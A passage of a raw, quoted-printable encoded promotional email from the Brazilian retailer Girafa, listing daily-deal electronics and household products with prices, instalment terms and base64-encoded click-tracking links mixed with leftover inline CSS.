V9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVydGFfZG9fZGlhXzA5= XzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] DSL-N10 I [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84764,1= c2237438af082b58788aa38a7694b1f,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1JvdGVhZG9= yZXMvQXN1cy9yb3RlYWRvci1kc2wtbjEwLWFzdXMtbW9kZW0tcHJldG8tMTJ3LTE1MC1tYnBzLm= h0bT91dG1fc291cmNlPTA5XzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1d= G1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDlfMDdfMTMmdXRtX3Rlcm09= ,1,b3NzLnNnaS5jb20=3D] Blu-Ray Player Sony [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84763,1= c2237438af082b58788aa38a7694b1f,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0RWRC1CbHU= tUmF5L1NvbnkvYmx1LXJheS1wbGF5ZXItc29ueS1iZHAtczExMDAtcHJldG8tdXNiLWhkbWktaW= 50ZXJuZXQtZnVsbC1oZC5odG0/dXRtX3NvdXJjZT0wOV8wN18xM19vZmVydGFfZG9fZGlhJnV0b= V9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVydGFfZG9fZGlhXzA5= XzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] Roteador Asus [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84764,1= c2237438af082b58788aa38a7694b1f,[DMA6_ENCODE_URL]http://www.girafa.com.br/R= oteadores/Asus/roteador-dsl-n10-asus-modem-preto-12w-150-mbps.htm?utm_sourc= e=3D09_07_13_oferta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_campaign= =3Doferta_do_dia_09_07_13 border-bottom:1px solid #f4ac1c; border-left:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> 254,32 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84763,1= c2237438af082b58788aa38a7694b1f,[DMA6_ENCODE_URL]http://www.girafa.com.br/D= VD-Blu-Ray/Sony/blu-ray-player-sony-bdp-s1100-preto-usb-hdmi-internet-full-= hd.htm?utm_source=3D09_07_13_oferta_do_dia&utm_medium=3DEmail&utm_content= =3D&utm_campaign=3Doferta_do_dia_09_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84763,1= c2237438af082b58788aa38a7694b1f,[DMA6_ENCODE_URL]http://www.girafa.com.br/D= VD-Blu-Ray/Sony/blu-ray-player-sony-bdp-s1100-preto-usb-hdmi-internet-full-= hd.htm?utm_source=3D09_07_13_oferta_do_dia&utm_medium=3DEmail&utm_content= =3D&utm_campaign=3Doferta_do_dia_09_07_13font-weight: bold; margin: 0px 0px 0px 0px; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84763,1= c2237438af082b58788aa38a7694b1f,[DMA6_ENCODE_URL]http://www.girafa.com.br/D= VD-Blu-Ray/Sony/blu-ray-player-sony-bdp-s1100-preto-usb-hdmi-internet-full-= hd.htm?utm_source=3D09_07_13_oferta_do_dia&utm_medium=3DEmail&utm_content= =3D&utm_campaign=3Doferta_do_dia_09_07_13 height:50px; border-left:1px solid #f4ac1c;border-bottom:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> 206,10 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84764,1= c2237438af082b58788aa38a7694b1f,[DMA6_ENCODE_URL]http://www.girafa.com.br/R= oteadores/Asus/roteador-dsl-n10-asus-modem-preto-12w-150-mbps.htm?utm_sourc= e=3D09_07_13_oferta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_campaign= =3Doferta_do_dia_09_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84764,1= c2237438af082b58788aa38a7694b1f,[DMA6_ENCODE_URL]http://www.girafa.com.br/R= oteadores/Asus/roteador-dsl-n10-asus-modem-preto-12w-150-mbps.htm?utm_sourc= e=3D09_07_13_oferta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_campaign= =3Doferta_do_dia_09_07_13font-weight: bold; margin:0; border: 0;">10x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84764,1= c2237438af082b58788aa38a7694b1f,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1JvdGVhZG9= yZXMvQXN1cy9yb3RlYWRvci1kc2wtbjEwLWFzdXMtbW9kZW0tcHJldG8tMTJ3LTE1MC1tYnBzLm= h0bT91dG1fc291cmNlPTA5XzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1d= G1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDlfMDdfMTMmdXRtX3Rlcm09= ,1,b3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84765,1= c2237438af082b58788aa38a7694b1f,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL3Blc3F1aXN= hLz9xPURTQy1XNzMwJm9yZGVtPW1haXMtdmlzdWFsaXphZG9zJnV0bV9zb3VyY2U9MDlfMDdfMT= Nfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ= 249b2ZlcnRhX2RvX2RpYV8wOV8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84766,1= c2237438af082b58788aa38a7694b1f,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL3Blc3F1aXN= hLz9xPWZvbmR1ZSUyMGN1aXNpbmFydCZvcmRlbT1tYWlzLXZpc3VhbGl6YWRvcyZ1dG1fc291cm= NlPTA5XzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0md= XRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDlfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb= 20=3D] DSC-W730 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84765,1= c2237438af082b58788aa38a7694b1f,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL3Blc3F1aXN= hLz9xPURTQy1XNzMwJm9yZGVtPW1haXMtdmlzdWFsaXphZG9zJnV0bV9zb3VyY2U9MDlfMDdfMT= Nfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ= 249b2ZlcnRhX2RvX2RpYV8wOV8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] 408127 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84766,1= c2237438af082b58788aa38a7694b1f,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL3Blc3F1aXN= hLz9xPWZvbmR1ZSUyMGN1aXNpbmFydCZvcmRlbT1tYWlzLXZpc3VhbGl6YWRvcyZ1dG1fc291cm= NlPTA5XzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0md= XRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDlfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb= 20=3D] Cmera Cyber-Shot Sony [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84765,1= c2237438af082b58788aa38a7694b1f,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL3Blc3F1aXN= hLz9xPURTQy1XNzMwJm9yZGVtPW1haXMtdmlzdWFsaXphZG9zJnV0bV9zb3VyY2U9MDlfMDdfMT= Nfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ= 249b2ZlcnRhX2RvX2RpYV8wOV8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] Fondue El=E9trico Cuisinart [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84766,1= c2237438af082b58788aa38a7694b1f,[DMA6_ENCODE_URL]http://www.girafa.com.br/p= esquisa/?q=3Dfondue%20cuisinart&ordem=3Dmais-visualizados&utm_source=3D09_0= 7_13_oferta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_= do_dia_09_07_13 border-bottom:1px solid #f4ac1c; border-left:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> 351,12 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84765,1= c2237438af082b58788aa38a7694b1f,[DMA6_ENCODE_URL]http://www.girafa.com.br/p= esquisa/?q=3DDSC-W730&ordem=3Dmais-visualizados&utm_source=3D09_07_13_ofert= a_do_dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_09_= 07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84765,1= c2237438af082b58788aa38a7694b1f,[DMA6_ENCODE_URL]http://www.girafa.com.br/p= esquisa/?q=3DDSC-W730&ordem=3Dmais-visualizados&utm_source=3D09_07_13_ofert= a_do_dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_09_= 07_13font-weight: bold; margin: 0px 0px 0px 0px; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84765,1= c2237438af082b58788aa38a7694b1f,[DMA6_ENCODE_URL]http://www.girafa.com.br/p= esquisa/?q=3DDSC-W730&ordem=3Dmais-visualizados&utm_source=3D09_07_13_ofert= a_do_dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_09_= 07_13 height:50px; border-left:1px solid #f4ac1c;border-bottom:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> 351,12 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84766,1= c2237438af082b58788aa38a7694b1f,[DMA6_ENCODE_URL]http://www.girafa.com.br/p= esquisa/?q=3Dfondue%20cuisinart&ordem=3Dmais-visualizados&utm_source=3D09_0= 7_13_oferta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_= do_dia_09_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84766,1= c2237438af082b58788aa38a7694b1f,[DMA6_ENCODE_URL]http://www.girafa.com.br/p= esquisa/?q=3Dfondue%20cuisinart&ordem=3Dmais-visualizados&utm_source=3D09_0= 7_13_oferta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_= do_dia_09_07_13font-weight: bold; margin:0; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84766,1= c2237438af082b58788aa38a7694b1f,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL3Blc3F1aXN= hLz9xPWZvbmR1ZSUyMGN1aXNpbmFydCZvcmRlbT1tYWlzLXZpc3VhbGl6YWRvcyZ1dG1fc291cm= NlPTA5XzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0md= XRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDlfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb= 20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84767,1= c2237438af082b58788aa38a7694b1f,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0pvZ29zL1N= vbnkvZ2FtZS10aGUtd2Fsa2luZy1kZWFkLXRlbGx0YWxlLWdhbWUtc2VyaWVzLXNvbnktcGxheX= N0YXRpb24tMy5odG0/dXRtX3NvdXJjZT0wOV8wN18xM19vZmVydGFfZG9fZGlhJnV0bV9tZWRpd= W09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVydGFfZG9fZGlhXzA5XzA3XzEz= JnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84768,1= c2237438af082b58788aa38a7694b1f,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL3Byb2R1dG9= zLnBocD9pZD03NDA3JnV0bV9zb3VyY2U9MDlfMDdfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaX= VtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249b2ZlcnRhX2RvX2RpYV8wOV8wN18xM= yZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] The Walking - PS3 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84767,1= c2237438af082b58788aa38a7694b1f,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0pvZ29zL1N= vbnkvZ2FtZS10aGUtd2Fsa2luZy1kZWFkLXRlbGx0YWxlLWdhbWUtc2VyaWVzLXNvbnktcGxheX= N0YXRpb24tMy5odG0/dXRtX3NvdXJjZT0wOV8wN18xM19vZmVydGFfZG9fZGlhJnV0bV9tZWRpd= W09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVydGFfZG9fZGlhXzA5XzA3XzEz= JnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] VIVTEL50600 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84768,1= c2237438af082b58788aa38a7694b1f,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL3Byb2R1dG9= zLnBocD9pZD03NDA3JnV0bV9zb3VyY2U9MDlfMDdfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaX= VtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249b2ZlcnRhX2RvX2RpYV8wOV8wN18xM= yZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] Game The Walking Dead: A Telltale Game Series [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84767,1= c2237438af082b58788aa38a7694b1f,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0pvZ29zL1N= vbnkvZ2FtZS10aGUtd2Fsa2luZy1kZWFkLXRlbGx0YWxlLWdhbWUtc2VyaWVzLXNvbnktcGxheX= N0YXRpb24tMy5odG0/dXRtX3NvdXJjZT0wOV8wN18xM19vZmVydGFfZG9fZGlhJnV0bV9tZWRpd= W09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVydGFfZG9fZGlhXzA5XzA3XzEz= JnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] Telesc=F3pio de Refra=E7=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84768,1= c2237438af082b58788aa38a7694b1f,[DMA6_ENCODE_URL]http://www.girafa.com.br/p= rodutos.php?id=3D7407&utm_source=3D09_07_13_oferta_do_dia&utm_medium=3DEmai= l&utm_content=3D&utm_campaign=3Doferta_do_dia_09_07_13 border-bottom:1px solid #f4ac1c; border-left:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> 91,91 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84767,1= c2237438af082b58788aa38a7694b1f,[DMA6_ENCODE_URL]http://www.girafa.com.br/J= ogos/Sony/game-the-walking-dead-telltale-game-series-sony-playstation-3.htm= ?utm_source=3D09_07_13_oferta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_= campaign=3Doferta_do_dia_09_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84767,1= c2237438af082b58788aa38a7694b1f,[DMA6_ENCODE_URL]http://www.girafa.com.br/J= ogos/Sony/game-the-walking-dead-telltale-game-series-sony-playstation-3.htm= ?utm_source=3D09_07_13_oferta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_= campaign=3Doferta_do_dia_09_07_13font-weight: bold; margin: 0px 0px 0px 0px; border: 0;">8x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84767,1= c2237438af082b58788aa38a7694b1f,[DMA6_ENCODE_URL]http://www.girafa.com.br/J= ogos/Sony/game-the-walking-dead-telltale-game-series-sony-playstation-3.htm= ?utm_source=3D09_07_13_oferta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_= campaign=3Doferta_do_dia_09_07_13 height:50px; border-left:1px solid #f4ac1c;border-bottom:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> 121,26 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84768,1= c2237438af082b58788aa38a7694b1f,[DMA6_ENCODE_URL]http://www.girafa.com.br/p= rodutos.php?id=3D7407&utm_source=3D09_07_13_oferta_do_dia&utm_medium=3DEmai= l&utm_content=3D&utm_campaign=3Doferta_do_dia_09_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84768,1= c2237438af082b58788aa38a7694b1f,[DMA6_ENCODE_URL]http://www.girafa.com.br/p= rodutos.php?id=3D7407&utm_source=3D09_07_13_oferta_do_dia&utm_medium=3DEmai= l&utm_content=3D&utm_campaign=3Doferta_do_dia_09_07_13font-weight: bold; margin:0; border: 0;">6x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84768,1= c2237438af082b58788aa38a7694b1f,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL3Byb2R1dG9= zLnBocD9pZD03NDA3JnV0bV9zb3VyY2U9MDlfMDdfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaX= VtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249b2ZlcnRhX2RvX2RpYV8wOV8wN18xM= yZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84769,1= c2237438af082b58788aa38a7694b1f,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0ltcHJlc3N= vcmFzL0Vwc29uL211bHRpZnVuY2lvbmFsLWV4cHJlc3Npb24taW5ramV0LWNvbG9yaWRhLWFsdG= EtdmVsb2NpZGFkZS13aS1maS0xMTB2Lmh0bT91dG1fc291cmNlPTA5XzA3XzEzX29mZXJ0YV9kb= 19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9k= b19kaWFfMDlfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84770,1= c2237438af082b58788aa38a7694b1f,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL3RlbGVmb25= pYS1maXhhL1BoaWxpcHMvdGVsZWZvbmUtc2VtLWZpby1iZS1uZWFyLWNkMjkwMS1waGlsaXBzLW= JyYW5jby1iaXZvbHQtZGVzcGVydGFkb3ItdGVjbGFkby1pbHVtaW5hZG8uaHRtP3V0bV9zb3VyY= 2U9MDlfMDdfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1= dG1fY2FtcGFpZ249b2ZlcnRhX2RvX2RpYV8wOV8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS= 5jb20=3D] XP-401 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84769,1= c2237438af082b58788aa38a7694b1f,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0ltcHJlc3N= vcmFzL0Vwc29uL211bHRpZnVuY2lvbmFsLWV4cHJlc3Npb24taW5ramV0LWNvbG9yaWRhLWFsdG= EtdmVsb2NpZGFkZS13aS1maS0xMTB2Lmh0bT91dG1fc291cmNlPTA5XzA3XzEzX29mZXJ0YV9kb= 19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9k= b19kaWFfMDlfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] CD2901W [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84770,1= c2237438af082b58788aa38a7694b1f,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL3RlbGVmb25= pYS1maXhhL1BoaWxpcHMvdGVsZWZvbmUtc2VtLWZpby1iZS1uZWFyLWNkMjkwMS1waGlsaXBzLW= JyYW5jby1iaXZvbHQtZGVzcGVydGFkb3ItdGVjbGFkby1pbHVtaW5hZG8uaHRtP3V0bV9zb3VyY= 2U9MDlfMDdfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1= dG1fY2FtcGFpZ249b2ZlcnRhX2RvX2RpYV8wOV8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS= 5jb20=3D] Multifuncional Expression Inkjet [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84769,1= c2237438af082b58788aa38a7694b1f,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0ltcHJlc3N= vcmFzL0Vwc29uL211bHRpZnVuY2lvbmFsLWV4cHJlc3Npb24taW5ramV0LWNvbG9yaWRhLWFsdG= EtdmVsb2NpZGFkZS13aS1maS0xMTB2Lmh0bT91dG1fc291cmNlPTA5XzA3XzEzX29mZXJ0YV9kb= 19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9k= b19kaWFfMDlfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] Telefone sem Fio Be Near [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84770,1= c2237438af082b58788aa38a7694b1f,[DMA6_ENCODE_URL]http://www.girafa.com.br/t= elefonia-fixa/Philips/telefone-sem-fio-be-near-cd2901-philips-branco-bivolt= -despertador-teclado-iluminado.htm?utm_source=3D09_07_13_oferta_do_dia&utm_= medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_09_07_13 border-bottom:1px solid #f4ac1c; border-left:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> 324,72 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84769,1= c2237438af082b58788aa38a7694b1f,[DMA6_ENCODE_URL]http://www.girafa.com.br/I= mpressoras/Epson/multifuncional-expression-inkjet-colorida-alta-velocidade-= wi-fi-110v.htm?utm_source=3D09_07_13_oferta_do_dia&utm_medium=3DEmail&utm_c= ontent=3D&utm_campaign=3Doferta_do_dia_09_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84769,1= c2237438af082b58788aa38a7694b1f,[DMA6_ENCODE_URL]http://www.girafa.com.br/I= mpressoras/Epson/multifuncional-expression-inkjet-colorida-alta-velocidade-= wi-fi-110v.htm?utm_source=3D09_07_13_oferta_do_dia&utm_medium=3DEmail&utm_c= ontent=3D&utm_campaign=3Doferta_do_dia_09_07_13font-weight: bold; margin: 0px 0px 0px 0px; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84769,1= c2237438af082b58788aa38a7694b1f,[DMA6_ENCODE_URL]http://www.girafa.com.br/I= mpressoras/Epson/multifuncional-expression-inkjet-colorida-alta-velocidade-= wi-fi-110v.htm?utm_source=3D09_07_13_oferta_do_dia&utm_medium=3DEmail&utm_c= ontent=3D&utm_campaign=3Doferta_do_dia_09_07_13 height:50px; border-left:1px solid #f4ac1c;border-bottom:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> 137,08 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84770,1= c2237438af082b58788aa38a7694b1f,[DMA6_ENCODE_URL]http://www.girafa.com.br/t= elefonia-fixa/Philips/telefone-sem-fio-be-near-cd2901-philips-branco-bivolt= -despertador-teclado-iluminado.htm?utm_source=3D09_07_13_oferta_do_dia&utm_= medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_09_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84770,1= c2237438af082b58788aa38a7694b1f,[DMA6_ENCODE_URL]http://www.girafa.com.br/t= elefonia-fixa/Philips/telefone-sem-fio-be-near-cd2901-philips-branco-bivolt= -despertador-teclado-iluminado.htm?utm_source=3D09_07_13_oferta_do_dia&utm_= medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_09_07_13font-wei= ght: bold; margin:0; border: 0;">8x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84770,1= c2237438af082b58788aa38a7694b1f,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL3RlbGVmb25= pYS1maXhhL1BoaWxpcHMvdGVsZWZvbmUtc2VtLWZpby1iZS1uZWFyLWNkMjkwMS1waGlsaXBzLW= JyYW5jby1iaXZvbHQtZGVzcGVydGFkb3ItdGVjbGFkby1pbHVtaW5hZG8uaHRtP3V0bV9zb3VyY= 2U9MDlfMDdfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1= dG1fY2FtcGFpZ249b2ZlcnRhX2RvX2RpYV8wOV8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS= 5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84751,1= c2237438af082b58788aa38a7694b1f,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyLz91dG1fc29= 1cmNlPTA5XzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD= 0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDlfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS= 5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84771,1= c2237438af082b58788aa38a7694b1f,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL21vdGl2b3M= tcGFyYS1jb21wcmFyLzEwMC1zZWd1cm8vP3V0bV9zb3VyY2U9MDlfMDdfMTNfb2ZlcnRhX2RvX2= RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249b2ZlcnRhX2RvX= 2RpYV8wOV8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84776,1= c2237438af082b58788aa38a7694b1f,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9jZW50cmF= sLWRlLWF0ZW5kaW1lbnRvLz91dG1fc291cmNlPTA5XzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX2= 1lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDlfM= DdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84777,1= c2237438af082b58788aa38a7694b1f,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9tb3Rpdm9= zLXBhcmEtY29tcHJhci9kaXZlcnNhcy1mb3JtYXMtZGUtcGFnYW1lbnRvLz91dG1fc291cmNlPT= A5XzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX= 2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDlfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20= =3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84778,1= c2237438af082b58788aa38a7694b1f,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9tb3Rpdm9= zLXBhcmEtY29tcHJhci9nYXJhbnRpYS1kZS1zYXRpc2ZhY2FvLz91dG1fc291cmNlPTA5XzA3Xz= EzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBha= WduPW9mZXJ0YV9kb19kaWFfMDlfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84779,1= c2237438af082b58788aa38a7694b1f,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9lc3BhY28= 